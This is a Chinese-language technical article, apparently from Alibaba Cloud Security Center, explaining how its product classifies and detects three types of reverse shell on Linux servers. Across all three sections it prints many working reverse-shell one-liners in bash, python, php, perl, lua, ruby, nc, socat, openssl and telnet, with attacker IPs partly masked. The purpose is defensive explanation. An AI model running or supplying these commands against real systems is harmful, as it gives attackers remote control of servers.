云安全中心反弹Shell多维检测技术详解

阿里云云安全中心通过分析历史中云上环境的Linux服务器入侵事件，总结出了攻击链路中实现反弹Shell的语言及工具使用率，详情如下图所示。

常见的检测方案是通过正则匹配的方式，提取反弹Shell命令的特征去匹配命令日志、流量日志。该方案具有以下不足：

• 命令日志采集不完整：例如通过Netlink等方式采集的日志，在碰到管道符、重定向时会无法采集完整的原始执行命令。而通过Patch Bash的方式记录命令日志，在遇到服务器使用Zsh、Ksh等其他Shell环境，或攻击者上传自己编译的Bash时会失效。
• 正则匹配无法覆盖无穷无尽的文本对抗：攻击者可以不断挖掘出新的变形方式来绕过正则匹配。在实际业务场景中，过多复杂的正则匹配会带来更大性能压力，而通配性更广的正则匹配会带来更多误报。
• 特征匹配失效：在网络流量被加密后，特征匹配会失效。

命令执行和网络通信借助重定向，可以构建出一条流动的数据通道。攻击者可以利用这条通道下发指令控制受害服务器。不同的实现方式组合在一起，就形成了多种多样的反弹Shell。例如：

• 网络通信可以使用TCP、UDP、ICMP等协议，TCP协议再细分又可以包含HTTP、HTTPS协议等，UDP包含DNS等。
• 命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。
• 重定向可以通过管道、成对的伪终端、内存文件等实现。

从检测的角度，可以将反弹Shell分为以下三种类型：

• 第一类反弹Shell：直接重定向Shell的输入输出到Socket

  该类型反弹Shell最典型的例子是：

  <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i20.55916579QztV2x">bash -i &gt;&amp; /dev/tcp/10.10.XX.XX/666 0&gt;&amp;1</code>

  以下介绍直接重定向Shell解释器的输入输出到Socket类型的常见案例。

  • 案例一：
    <code class="hljs language-bash" data-spm-anchor-id="a2c63.p38356.0.i21.55916579QztV2x">bash -i &gt;&amp; /dev/tcp/10.10.XX.XX/6060 0&gt;&amp;1</code>

  • 案例二：
    <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i22.55916579QztV2x">python -c 'import 
    socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(("10.10.XX.XX",6060));
    os.dup2(s.fileno(),0); 
    os.dup2(s.fileno(),1); 
    os.dup2(s.fileno(),2);
    p=subprocess.call(["/bin/sh","-i"]);'</code>

  • 案例三：
    <code class="hljs language-bash" data-spm-anchor-id="a2c63.p38356.0.i25.55916579QztV2x">php -r <span class="hljs-string">'$sock=fsockopen("10.10.XX.XX",6060);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'</span></code>

  • 案例四：
    <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i26.55916579QztV2x">perl -e 'use 
    Socket;$i="10.10.XX.XX";$p=6060;  
    socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
    if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");
    open(STDERR,"&gt;&amp;S");
    exec("/bin/sh -i");};'</code>

  • 案例五：

    <code class="hljs language-shell">lua -e 
    "require('socket');require('os');t=socket.tcp();t:connect('10.10.XX.XX','6060');os.execute('/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3');"</code>

  该类型反弹Shell通过重定向bash -i的标准输入、标准输出、标准错误到/dev/tcp Socket进行网络通信。下图可以帮助您理解重定向过程。
  这类反弹Shell的检测可以通过检测Shell的标准输入、标注输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现。
  云安全中心已支持检测此类型的反弹Shell，下图是检测出该类型反弹Shell后产生的告警。
• 第二类反弹Shell：通过管道、伪终端等中转，再重定向Shell的输入输出到中转

  此类反弹Shell借助管道、伪终端等进行中转，例如下面这个典型案例将sh -i的标准输入、标准输出、标准错误重定向到命名管道/tmp/f，同时加密通信数据也流向该命名管道。

  <code class="hljs language-shell">mkfifo /tmp/f; /bin/sh -i &lt; /tmp/f 2&gt;&amp;1 | openssl s_client -quiet -connect 0.0.XX.XX:666 &gt; /tmp/f</code>

  通过管道、伪终端等作为中转体，并与Socket打通，重定向Shell解释器的输入输出到中转体，有以下常见案例：

  • 案例一：
    <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i32.55916579QztV2x">nc 10.10.XX.XX 6060|/bin/sh|nc 10.10.XX.XX 5050 
    nc -e /bin/bash 10.10.XX.XX 6060 
    nc -c bash 10.10.XX.XX 6060 
    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.XX.XX:6060</code>

  • 案例二：
    <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i34.55916579QztV2x">mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.XX.XX 6060&gt;/tmp/f</code>

  • 案例三：
    <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i35.55916579QztV2x">mkfifo /tmp/s; /bin/sh -i &lt; /tmp/s 2&gt;&amp;1 | openssl s_client -quiet -connect 10.10.XX.XX:6060 &gt; /tmp/s; rm /tmp/s</code>

  • 案例四：
    <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i36.55916579QztV2x">mknod backpipe p; nc 10.10.XX.XX 6060 0&lt;backpipe | /bin/bash 1&gt;backpipe 2&gt;backpipe</code>

  • 案例五：
    <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i37.55916579QztV2x">bash -c 'exec 5&lt;&gt;/dev/tcp/10.10.XX.XX/6060;cat &lt;&amp;5|while read line;do $line &gt;&amp;5 2&gt;&amp;1;done'</code>

  • 案例六：
    <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i38.55916579QztV2x">telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.XX.XX 5050</code>

  在某些变形的场景下，可能经过层层中转，但无论经过几层最终都会形成一条流动的数据通道。通过跟踪FD（文件描述符File Descriptor）和进程的关系可以检测该数据通道。
  云安全中心已支持检测通过管道中转的反弹Shell，下图是检测出该类型反弹Shell后产生的告警。

  此类反弹Shell使用频率较高，其中利用伪终端中转的方式值得单独讨论，比如以下案例。

  <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i39.55916579QztV2x">python -c 'import 
  socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'</code>

  通过伪终端中转与通过管道等中转原理一样，但通过伪终端中转的检测难度大大提升，单从Shell的标准输入输出来看，和正常打开的终端没有什么区别。此外，一些场景如容器、各类产品Agent等也会有相似的日志记录，平衡漏报与误报的难度上大大提升。因此我们在文件描述符合检测方案的基础上，结合进程、网络等多种日志信息综合分析。以下是云安全中心检测出的利用伪终端中转方式的告警。
• 第三类反弹Shell：编程语言实现标准输入中转，重定向命令执行的输入到中转

  第三种类型反弹Shell通过编程语言实现标准输入的中转，然后重定向命令执行的输入到中转，标准输出和标准错误中转形式不限制。以下是该类型反弹Shell的典型示例：

  <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i41.55916579QztV2x">python - c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"</code>

  Shell攻击者使用编程语言实现标准输入中转，重定向命令执行的输入到中转，有如下常见案例：

  • 案例一：
    <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i41.55916579QztV2x">python - c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"</code>

  • 案例二：

    <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i43.55916579QztV2x">lua5.1 -e 'local host, port = "10.10.XX.XX", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'</code><code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i42.55916579QztV2x">
    </code>

  • 案例三：
    <code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i45.55916579QztV2x">ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.XX.XX","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'</code>

  在这种场景下，反弹Shell的命令执行和正常业务行为变得更加难以区分，对抗程度上升，除了从进程命令行尽可能的覆盖这类反弹Shell的特征以外，云安全中心通过异常命令行为序列、异常Shell启动模型检测该类反弹Shell。

  异常命令行为序列模型基于阿里云大数据实时计算平台，通过分析命令序列与攻击者获取Shell后行为相似度来判定是否为反弹Shell。而异常Shell启动模型结合多维度特征以及机器历史行为综合判定产出告警。以下是云安全中心已检测出的告警。

攻击与防御技术总是在不断的对抗中升级，攻击技术任何单点的突破都可能形成稳定绕过防御技术的局面。理论上任何一种反弹Shell检测都不是完美的，特别是第三类反弹Shell。云安全中心支持纵深检测，采用多维度交叉检测反弹Shell方案，通过进程特征覆盖、文件描述符分析、命令行为序列、异常Shell启动、二进制沙箱、脚本沙箱、流量特征覆盖、对抗行为检测共八项技术在不同入侵阶段埋点，从而最大程度保障检出效果。